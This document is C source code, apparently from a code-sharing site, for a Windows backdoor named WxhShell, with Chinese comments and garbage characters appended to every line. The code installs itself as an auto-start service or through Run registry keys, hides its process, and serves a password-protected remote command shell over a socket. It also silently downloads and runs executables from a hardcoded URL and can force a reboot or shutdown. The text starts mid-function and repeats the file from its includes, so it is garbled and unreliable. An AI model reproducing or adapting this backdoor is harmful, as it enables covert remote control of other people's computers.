    if(Boot(SHUTDOWN)) (^8Y|:Tz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~drS} V  
    else { u<7/0;D#+  
    closesocket(wsh); }l(&}#dY  
    ExitThread(0); Gv!2f  
    } 6"L cJ%o  
    break; RVnjNy;O`  
    } iW]j9}t  
  // 获取shell v}}F,c(f  
  case 's': { :}L[sl\R  
    CmdShell(wsh); ajbA\/\G;  
    closesocket(wsh); 3 Gp$a;g  
    ExitThread(0); '1P2$#  
    break; ?Ny9'g>?  
  } 9N#_( uwt  
  // 退出 a+[KI  
  case 'x': { G}9Jg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~WeM TXF>y  
    CloseIt(wsh); CTB~Yj@d+  
    break; !1jBC.G1  
    } $u$!tj  
  // 离开 vjbASFF0=  
  case 'q': { /wQy17g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,uSMQS-O'4  
    closesocket(wsh); n$MO4s8)  
    WSACleanup(); (Z+.45{-  
    exit(1); XO>KZV7)  
    break; 6y-@iJ*ld;  
        } 4M=]wR;  
  } rT=rrvV3g  
  } ?qv !w~m<  
<,3a3  
  // 提示信息 BA@lk+aW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FZ{h?#2?  
} [SjqOTon{  
  } %+aCJu[k(z  
(+w*[qHe  
  return; h"[AOfTE$  
} MD}w Y><C  
f&N gS+<K$  
// shell模块句柄 =J]&c?I  
int CmdShell(SOCKET sock) ,Q3T Tno ,  
{ 9a[9i}_  
STARTUPINFO si; m<<+  
ZeroMemory(&si,sizeof(si)); a{L%7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fbyd"(V 8r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~dyTVJ$  
PROCESS_INFORMATION ProcessInfo; bbDZ#DK"  
char cmdline[]="cmd"; 8 `v-<J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /7(W?xOe  
  return 0; paA(C|%{  
} Q4#.X=.d  
on!,c>nNa  
// 自身启动模式 HDz5&7* .  
int StartFromService(void) iQ0KfoG?U  
{ *^pR%E .  
typedef struct w49t9~  
{ f%A;`4 `q  
  DWORD ExitStatus; #>a\>iKQ2q  
  DWORD PebBaseAddress; S^JbyD_yoh  
  DWORD AffinityMask; 6gU96Z  
  DWORD BasePriority; <.%4 ! }f8  
  ULONG UniqueProcessId; Ij7p' a  
  ULONG InheritedFromUniqueProcessId; rP'me2 B  
}   PROCESS_BASIC_INFORMATION; =ke2;}X  
=1@u  
PROCNTQSIP NtQueryInformationProcess; 2,y|EpG#  
'NbHa!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G~]Uk*M q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k`cfG\;r  
F0m-23[H  
  HANDLE             hProcess; Gf%~{@7=u  
  PROCESS_BASIC_INFORMATION pbi; cRC6 s8  
+X\FBvP&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c^5~QGuQ  
  if(NULL == hInst ) return 0; vJLK,[  
s2a{>II6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {Ea b j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x f'V{9*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bS{bkE>  
"6("9"  
  if (!NtQueryInformationProcess) return 0; `{gHA+B  
nd`1m[7MNu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FBG4pb9=~  
  if(!hProcess) return 0; B5`EoZ  
`C,n0'PL.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x[| }.Ew  
 > ^O7  
  CloseHandle(hProcess); \Zb;'eDv  
nF}vw |r>x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %J}xg^+f  
if(hProcess==NULL) return 0; *j|~$e}C  
3h]g}&k  
HMODULE hMod; mupT<_Y  
char procName[255]; ynp8r f  
unsigned long cbNeeded; YByLoM*  
a6 ekG YW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }czrj%6  
l&[O  
  CloseHandle(hProcess); ),_@WW;k  
uIY#e<)}G  
if(strstr(procName,"services")) return 1; // 以服务启动 n5|fHk^s  
]|#+zx|/D  
  return 0; // 注册表启动 "BAK !N$9  
} xKbXt;l2  
SA:Zc^aV  
// 主模块 D=TvYe  
int StartWxhshell(LPSTR lpCmdLine) (xycJ`N  
{ ?C]vS_jAh  
  SOCKET wsl; >:SHV W  
BOOL val=TRUE; PhLn8jNti  
  int port=0; Q(G#W+r  
  struct sockaddr_in door; pt?bWyKG  
NCveSP  
  if(wscfg.ws_autoins) Install(); HH`'*$]7  
-+-?w|}qV  
port=atoi(lpCmdLine); YH$-g  
53_Hl]#qZ  
if(port<=0) port=wscfg.ws_port; 7K12 G!)  
}f%}v  
  WSADATA data; $+Z[K.2J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WpDSg*fk=Y  
aNsBcov3O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7lTC{7C57  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gE-tjoJ  
  door.sin_family = AF_INET; UJUEYG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EZgwF =lO  
  door.sin_port = htons(port); \eTwXe]Pv  
G+9,,`2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0mp/Le5  
closesocket(wsl); _!#@@O0p/h  
return 1; t[HE6ea  
} XE RUo  
50h! X9  
  if(listen(wsl,2) == INVALID_SOCKET) { _=r6=.  
closesocket(wsl); /*~EO{o  
return 1; qfF~D0}  
} PJ')R:e,  
  Wxhshell(wsl); |*Yr<zt  
  WSACleanup(); f^3*)Ni  
Xc ++b|k  
return 0; #&+{mCjs  
 l03B=$  
} 2F[ q).  
O *C;Vqt  
// 以NT服务方式启动 2F;y;l%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E#34Wh2z  
{ _ >?\DgjH  
DWORD   status = 0; k:i4=5^*GX  
  DWORD   specificError = 0xfffffff; z9f-.72"X  
1}+3dB_s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (le9q5Qr.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;7*[Bcj.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =}^9 wP  
  serviceStatus.dwWin32ExitCode     = 0; 6{K,c@VFd  
  serviceStatus.dwServiceSpecificExitCode = 0; _`$qBw.Nx  
  serviceStatus.dwCheckPoint       = 0; U)TUOwF  
  serviceStatus.dwWaitHint       = 0; 299H$$WS,Z  
c2SO3g\"i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >dXGee>'M  
  if (hServiceStatusHandle==0) return; +.8 \p5  
rw[ph[\X  
status = GetLastError(); d7^}tM  
  if (status!=NO_ERROR) $GV7o{"&  
{ 'ycJMYP8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 63iUi9P  
    serviceStatus.dwCheckPoint       = 0; MR7}s4o  
    serviceStatus.dwWaitHint       = 0; Y>z>11yEB0  
    serviceStatus.dwWin32ExitCode     = status; DPY}?dC  
    serviceStatus.dwServiceSpecificExitCode = specificError; YRk(u7:0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D>r&}6<  
    return; &A/]pi-\  
  } .Z`R^2MU  
>~rTqtKd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O^PKn_OJ  
  serviceStatus.dwCheckPoint       = 0; FgnTGY}  
  serviceStatus.dwWaitHint       = 0; t^-d/yKt0w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Eh`7X=Z7E  
} )CYGQMK  
<V'@ks%  
// 处理NT服务事件,比如:启动、停止 OdbEq?3S/?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g9pZ\$J&  
{ h f)?1z4  
switch(fdwControl) mM~qBrwL  
{ $p8xEcQdU#  
case SERVICE_CONTROL_STOP: @ y.?:7I  
  serviceStatus.dwWin32ExitCode = 0; >{ ]%F*p4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G5_=H,Vmd  
  serviceStatus.dwCheckPoint   = 0; g'f@H-KCD  
  serviceStatus.dwWaitHint     = 0; tIi&;tw]  
  { # +>oZWVc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ldcqe$7,  
  } 68|E9^`l  
  return; S\EyCi+  
case SERVICE_CONTROL_PAUSE: f%JIp#B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ITQA0PI SL  
  break; w(Ovr`o?9t  
case SERVICE_CONTROL_CONTINUE: )}R0Y=e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yN0Vr\r2  
  break; ]! &FKy  
case SERVICE_CONTROL_INTERROGATE: }Bh8=F3O Q  
  break; Y Uc+0  
}; pad*oPH,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s+Pq&<nV-  
} "^[ 'y7i  
bP#:Oi0v`  
// 标准应用程序主函数 9=M$AB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v"$L702d$\  
{ tT8%yG}  
2|y"!JqE1  
// 获取操作系统版本 +/7?HGf  
OsIsNt=GetOsVer(); SR hiQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yzn%<H~  
G Vr1`l  
  // 从命令行安装 TqQB@-!  
  if(strpbrk(lpCmdLine,"iI")) Install(); /HEw-M9z  
j;Gtu  
  // 下载执行文件 7WqH&vU|  
if(wscfg.ws_downexe) { wu6;.xTLl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Paq4  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2qNt,;DQ  
} $Wol?)z  
MY)O^I X$  
if(!OsIsNt) { +E+p"7  
// 如果时win9x,隐藏进程并且设置为注册表启动 rKc9b<Ir  
HideProc(); s^TZXCyF o  
StartWxhshell(lpCmdLine); n6>#/eUH  
} ]cvwIc">  
else 0auYG><=  
  if(StartFromService()) >uB?rGcM  
  // 以服务方式启动 By,eETU]  
  StartServiceCtrlDispatcher(DispatchTable); b_krk\e@S  
else aKDKmHd  
  // 普通方式启动 ;1=1:S8  
  StartWxhshell(lpCmdLine); xa*hi87L*  
r<EY]f^`u  
return 0; R^fPIv`q  
} uMv,zO5  
bWS&Yk(  
FxY}m  
lFj]4  
=========================================== T<>,lQs(a  
E=Bf1/c\  
Oszj$C(jF  
:,7hWs  
=%O6:YM   
fbvL7* (  
" /s?`&1v|r  
A\DCW  
#include <stdio.h> S@tLCqV4  
#include <string.h> ^ +\dz  
#include <windows.h> #%2rP'He  
#include <winsock2.h> W*:.Gxv]  
#include <winsvc.h> 6_;icpN]  
#include <urlmon.h> MchA{p&Ol  
{Mk6T1Bkq  
#pragma comment (lib, "Ws2_32.lib") `(;m?<%  
#pragma comment (lib, "urlmon.lib") /}Axf"OE  
|-ALklXr  
#define MAX_USER   100 // 最大客户端连接数 Rv>-4@fMJ  
#define BUF_SOCK   200 // sock buffer t}4, ]m s  
#define KEY_BUFF   255 // 输入 buffer Yh7t"=o  
,qwuLBW  
#define REBOOT     0   // 重启 Dy&i&5E.-l  
#define SHUTDOWN   1   // 关机 =svN#q5s  
q<<v,ihh  
#define DEF_PORT   5000 // 监听端口 wJqMa9|  
{Xy5pfW Q  
#define REG_LEN     16   // 注册表键长度 _LnpnL:  
#define SVC_LEN     80   // NT服务名长度 .Efk*  
(WJRi:NP?  
// 从dll定义API Jpq~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t?gic9 q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T!{w~'=F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fOrH$?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9*wK@yEl  
9FR5Jw>t  
// wxhshell配置信息 N"R]Yp;j  
struct WSCFG { B[Scr5|  
  int ws_port;         // 监听端口 ajT*/L!0_  
  char ws_passstr[REG_LEN]; // 口令 .P]+? %&  
  int ws_autoins;       // 安装标记, 1=yes 0=no @mBQ?; qlK  
  char ws_regname[REG_LEN]; // 注册表键名 Y=KTeYW`  
  char ws_svcname[REG_LEN]; // 服务名 UkC!1Jy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -2[a2^a'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dT8S~-d%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X?',n 1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }.(B}/$u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bJ%h53  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3"e,q Y  
#{6/ (X  
}; xo&_bMO  
mJnIwdW*  
// default Wxhshell configuration BxmWIItz  
struct WSCFG wscfg={DEF_PORT, ;'K5J9k  
    "xuhuanlingzhe", w& #]-|$  
    1, &z3o7rif$  
    "Wxhshell", @.l@\4m  
    "Wxhshell", T -2t.Xs  
            "WxhShell Service", aXYY:;  
    "Wrsky Windows CmdShell Service", Y.UFbrv  
    "Please Input Your Password: ", Vb_4f"  
  1, ,4$>,@WW~  
  "http://www.wrsky.com/wxhshell.exe", 0OE:[pR  
  "Wxhshell.exe" x9g#<2w8  
    }; p6@)-2^  
n\DV3rXI9  
// 消息定义模块 {tZ.v@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lq^)R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {\5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =T@1@w  
char *msg_ws_ext="\n\rExit."; )10+@d  
char *msg_ws_end="\n\rQuit."; # W']6'O  
char *msg_ws_boot="\n\rReboot..."; 0~S^Y1hH  
char *msg_ws_poff="\n\rShutdown..."; \b x$i*  
char *msg_ws_down="\n\rSave to ";  kJ}`V  
f6Ah6tb  
char *msg_ws_err="\n\rErr!"; CTa57R  
char *msg_ws_ok="\n\rOK!"; oc`H}Wvn  
O>,e~#!  
char ExeFile[MAX_PATH]; t~XN}gMxw  
int nUser = 0; yf+)6D -9n  
HANDLE handles[MAX_USER]; oPM96 (  
int OsIsNt; o*H<KaX  
bd-L` ={j  
SERVICE_STATUS       serviceStatus; 7NGxa6wi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i.m^/0!  
5;EvNu  
// 函数声明 ,O(hMI85]  
int Install(void); TeM|:o  
int Uninstall(void); QWYJ *  
int DownloadFile(char *sURL, SOCKET wsh); lo+A%\1  
int Boot(int flag); Xv^qVn4  
void HideProc(void); i/4>2y9/F4  
int GetOsVer(void); tD)J*]G  
int Wxhshell(SOCKET wsl); ga+dt  
void TalkWithClient(void *cs); ux4POO3C|  
int CmdShell(SOCKET sock); i_%_x*  
int StartFromService(void); L8B! u9%  
int StartWxhshell(LPSTR lpCmdLine); K|, .C[  
1+s;FJ2}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g- gV2$I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K"MX!  
y6a3t G  
// 数据结构和表定义 0H:X3y+  
SERVICE_TABLE_ENTRY DispatchTable[] = (9a^$C*  
{ 4Nsp<Kn>  
{wscfg.ws_svcname, NTServiceMain}, *EH~_F  
{NULL, NULL} 1qA;/-Zr<o  
}; {IjR^J=k  
]/v[8dS(l  
// 自我安装 ygcm|PrS  
int Install(void) JZ x[W&]zT  
{ upmx $H>  
  char svExeFile[MAX_PATH]; &D<yX~  
  HKEY key; o]V^};B  
  strcpy(svExeFile,ExeFile); F^:3?JA _  
75lA%| *X  
// 如果是win9x系统,修改注册表设为自启动 gbA_DZ  
if(!OsIsNt) { 6gDN`e,@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z$sT !QL~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 68Ez  
  RegCloseKey(key); Pq$n5fZC !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1% `Rs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ? r4>"[  
  RegCloseKey(key); =3P)q"  
  return 0; :ws<-Qy  
    } At;LO9T3z  
  } h?U O&(  
} "{t$nVJ  
else { Vurq t_nb  
%cn<ych G  
// 如果是NT以上系统,安装为系统服务 SpBy3wd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DEgXQ[  
if (schSCManager!=0) 307I$*%W  
{ KI.hy2?e  
  SC_HANDLE schService = CreateService vY3h3o  
  ( A#,ZUOPGH  
  schSCManager, Q>z8IlJ}  
  wscfg.ws_svcname, .}+}8[p4l  
  wscfg.ws_svcdisp, *-X[u:  
  SERVICE_ALL_ACCESS, %BODkc Zh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PA*5Bk="q  
  SERVICE_AUTO_START, "[N!m1i:{  
  SERVICE_ERROR_NORMAL, ;tf=gdX;  
  svExeFile, DY*N|OnqJ  
  NULL, EU#^7  
  NULL, |7~<Is~ *  
  NULL, >$7B wO  
  NULL, 6S #Cl>v  
  NULL Z\sDUJ  
  ); '"s@enD0y  
  if (schService!=0) %yC,^  
  { /-s6<e!  
  CloseServiceHandle(schService); |s_GlJV.  
  CloseServiceHandle(schSCManager); DmcZta8n]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1Y,Z %d  
  strcat(svExeFile,wscfg.ws_svcname); kx^/*~ex  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :4|4=mkr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !)$Zp\Sg  
  RegCloseKey(key); XWw804ir  
  return 0; +ZV5o&V>  
    } /9X7A;O  
  } Hn:Crl y#  
  CloseServiceHandle(schSCManager); b.938#3,  
}  D%Z|  
} W+* V)tf  
?JUeuNs9  
return 1; O6Y0XL  
} 9+N-eW_U  
="e+W@C  
// 自我卸载 EQ_aa@M7  
int Uninstall(void) h+,@G,|D  
{ >Q*Wi  
  HKEY key; Wp,R ^d  
pR_9NfV{  
if(!OsIsNt) { \2z>?i)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2AdDIVYC  
  RegDeleteValue(key,wscfg.ws_regname); mkpMfPt  
  RegCloseKey(key); unxqkU/<Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]$hBMuUa  
  RegDeleteValue(key,wscfg.ws_regname); $cg cX  
  RegCloseKey(key); Hr C+Yjp  
  return 0; t JmTBsn  
  } 2 E= L8<  
} dr"1s-D4IQ  
} ~J]qP#C  
else { f QFk+C  
XPPdwTOr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '%;m?t% q  
if (schSCManager!=0) nt<]d\o0  
{ d-%hjy3N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S jj6q`  
  if (schService!=0) @)}L~lb[)  
  { Y-9I3?ar  
  if(DeleteService(schService)!=0) { c@Is2 9t*  
  CloseServiceHandle(schService); l-3~K-k<@  
  CloseServiceHandle(schSCManager); 18Emi<&A  
  return 0; Ort(AfW  
  } p<%d2@lp  
  CloseServiceHandle(schService); _0I@xQj-  
  } @VI@fN  
  CloseServiceHandle(schSCManager); "M0z(N kH  
} qgB_=Q#E  
} 9H~n _   
$VR{q6[0S?  
return 1; i~72bMwsA  
} =pr7G+_u  
XP}<N&j  
// 从指定url下载文件 }0 ?3:A  
int DownloadFile(char *sURL, SOCKET wsh) 8XaQAy%d]  
{ 8CE = 4  
  HRESULT hr; iRBfx  
char seps[]= "/"; GX%g9f!O  
char *token; u@^LW<eD  
char *file; (?];VG  
char myURL[MAX_PATH]; mZBo~(}  
char myFILE[MAX_PATH]; ig"L\ C"T  
^?|"L>y  
strcpy(myURL,sURL); l"]V6!-U  
  token=strtok(myURL,seps); 1Ws9WU  
  while(token!=NULL) H*6W q  
  { R-14=|7a-  
    file=token; #;S*V"  
  token=strtok(NULL,seps); ~G w*r\\+  
  } 3XKf!P  
1mJ Hued=6  
GetCurrentDirectory(MAX_PATH,myFILE); sRfcF`7  
strcat(myFILE, "\\"); !~Z"9(v'C  
strcat(myFILE, file); ,//S`j$S  
  send(wsh,myFILE,strlen(myFILE),0); 8EY:t zw  
send(wsh,"...",3,0); ^sZ,2,^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vD4*&|8T#  
  if(hr==S_OK) 5R7DDJk  
return 0; ( 5~h"s  
else 1x^GWtRp  
return 1; D'4\*4is  
HT@=evV  
} 4K74=r),i  
*ui</+  
// 系统电源模块 92{\B- l  
int Boot(int flag) ?ubro0F:  
{ .C(tMF]D,  
  HANDLE hToken; JI5Dy>u:  
  TOKEN_PRIVILEGES tkp; X?Au/  
a{e4it  
  if(OsIsNt) { B<-Wea  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (.,G=\!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >3bCTE   
    tkp.PrivilegeCount = 1; ,?3G;-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z{>Rc"%\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GthYzd:'hJ  
if(flag==REBOOT) { 8>V5d Ebx'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gh$^{  
  return 0; I:.s_8mH}  
} 0YHFvy)  
else { Dh*n!7lD`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g&.=2uP  
  return 0; ]f3>-)$*  
} &{i{XcqH'  
  } NVs@S-rpX  
  else { |hQ;l|SWg  
if(flag==REBOOT) {  _4f;<FL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aDCwI:Li(  
  return 0; v>56~AJ  
} 1eKT^bgM  
else { Debv4Gr;^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r :dTz  
  return 0; /<3UQLMa  
} = / 8cp  
} 3a|\dav%  
T;#FEzBz  
return 1; oU/5 a>9~  
} 3o qHGA:}  
{b{s<@?  
// win9x进程隐藏模块 54/=G(F   
void HideProc(void) (w{j6).3Dj  
{ %3 rP `A  
-HuA \0J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ctUp=po  
  if ( hKernel != NULL ) wS*E(IAl  
  { Y ay?=Y{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mfs?x a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A=4OWV?  
    FreeLibrary(hKernel); j39wA~ K  
  } *`U~?q}  
9VT;ep  
return; xkn;,`t^lJ  
} v2?ZQeHr_(  
5)E @F9N  
// 获取操作系统版本 S[N5 ikg  
int GetOsVer(void) T;uX4,|(  
{ F5Va+z,jg  
  OSVERSIONINFO winfo; +qoRP2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b]y2+A.n  
  GetVersionEx(&winfo); h\e.e3/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *2?@ |<(r  
  return 1; &FD>&WRV  
  else ]?*wbxU0  
  return 0; $C\BcKlmv  
} :%.D78&  
?8$Q-1=  
// 客户端句柄模块 z@Y;r=v  
int Wxhshell(SOCKET wsl) Vc2`b3"Br  
{ m2o0y++TjW  
  SOCKET wsh; ]tD]Wx%  
  struct sockaddr_in client; SdWV3  
  DWORD myID; =}*0-\QG  
<q SC#[xu  
  while(nUser<MAX_USER) OY d !v`<  
{  `]X>V,  
  int nSize=sizeof(client); kFB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vbNBLCwug  
  if(wsh==INVALID_SOCKET) return 1; ]! dTG  
PdCEUh\>y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9my^ Y9B  
if(handles[nUser]==0) q7!{?\T%  
  closesocket(wsh); OH88n69  
else Z7#+pPt!  
  nUser++; 99S ^f:t  
  } eJSxn1GW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j F>[?L  
. ^u,.  
  return 0; ;I*o@x_  
} Ei|\3Kx  
]q.0!lh+WL  
// 关闭 socket Ngwb Q7)  
void CloseIt(SOCKET wsh) s>en  
{ H.c7Nle  
closesocket(wsh); /B3iC#?  
nUser--; G"6 !{4g  
ExitThread(0); O}P`P'Y|'  
} *fdTpXa  
~BF&rx5Q  
// 客户端请求句柄 j6YOKJX  
void TalkWithClient(void *cs) ;,TFr}p`  
{ \8 ":]EU  
Tk>#G{Wb-  
  SOCKET wsh=(SOCKET)cs; yuVs YV@"  
  char pwd[SVC_LEN]; GmG 5[?)  
  char cmd[KEY_BUFF]; U(Zq= M  
char chr[1]; 9z0p5)]n>  
int i,j; =I4lL]>  
>Q/Dk7#  
  while (nUser < MAX_USER) { VQs5"K"  
C}X\|J  
if(wscfg.ws_passstr) { :U\tv[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,bd_:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5bIw?%dk(  
  //ZeroMemory(pwd,KEY_BUFF); SKtrtm  
      i=0; OVJ0}5P*  
  while(i<SVC_LEN) { ~dSr5LUD  
Z G:{[sT  
  // 设置超时 s.#`&Sd>  
  fd_set FdRead; z{6Z 11|  
  struct timeval TimeOut; l.]xB,k  
  FD_ZERO(&FdRead); h 0|s  
  FD_SET(wsh,&FdRead); @c#(.=  
  TimeOut.tv_sec=8; >usL*b0%  
  TimeOut.tv_usec=0; =v\.h=~~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b'g )  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,I9bNO,%JK  
BWNi [^]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lFk R=!?=  
  pwd=chr[0]; so; ]&  
  if(chr[0]==0xd || chr[0]==0xa) { G5!^*jf  
  pwd=0; \^LFkp  
  break; <$YlH@;)`a  
  } Lr+$_ t}r  
  i++; u ?"Vm  
    } >ef6{URy<  
6LZCgdS{  
  // 如果是非法用户,关闭 socket H+#FSdy#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *v`eUQ:  
} &[9709 (=  
}b}m3i1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jCY %|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :]"V-1#}  
gIfh3D=yX  
while(1) { _GPe<H  
<%^&2UMg  
  ZeroMemory(cmd,KEY_BUFF); FwK] $4*  
xLE)/}y_7H  
      // 自动支持客户端 telnet标准   ,+VGSd  
  j=0; 7^Uv7< pw  
  while(j<KEY_BUFF) { SJLis"8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > !JS:5|  
  cmd[j]=chr[0]; 2eogY#  
  if(chr[0]==0xa || chr[0]==0xd) { t-AmX) $  
  cmd[j]=0; MA\V[32H  
  break; ;"I^ZFYX  
  } cNrg#Asen&  
  j++; /QQ*8o8  
    } Q59suL   
~Ei<Z`3}7"  
  // 下载文件 +3gp%`c4  
  if(strstr(cmd,"http://")) { =wJX 0A|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CITc2v3a  
  if(DownloadFile(cmd,wsh)) <aw[XFg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Cs_F&l"j  
  else qK+5NF|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s"|Pdc4  
  } $qiya[&G4  
  else { 9sP0D  
#tHK"20  
